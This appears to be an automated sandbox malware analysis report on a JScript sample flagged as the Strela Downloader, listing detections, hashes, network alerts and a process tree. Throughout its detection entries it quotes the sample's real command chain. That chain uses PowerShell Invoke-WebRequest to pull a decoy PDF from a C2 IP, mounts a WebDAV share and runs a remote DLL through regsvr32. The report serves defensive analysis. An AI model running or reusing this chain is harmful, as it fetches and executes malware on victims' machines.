Edit tour

Windows Analysis Report
21534160892486631756.js

Overview

General Information

Sample name:	21534160892486631756.js
Analysis ID:	1588337
MD5:	eb57f937c555b8a11716b6a86634079b
SHA1:	3794add47e3e46ce175a7d4a8516bce598b9853f
SHA256:	c5b5a10813862cd93c05899734e4bc378d1ec28bdf79b0927ed9ff37f005c054
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6312 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6596 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3132 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4340 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6456 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1580,i,5060979939667623711,5876403959662584586,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5312 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3916 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1696 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6312	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3132, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3132, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", ProcessId: 6312, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3916, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6596, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", ProcessId: 6312, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3132, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5312, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3916, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1696, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5312, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3916, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6312, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 6596, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:39:39.479411+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:39:42.848189+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:39:39.479411+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 21534160892486631756.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 21534160892486631756.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:39:39 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
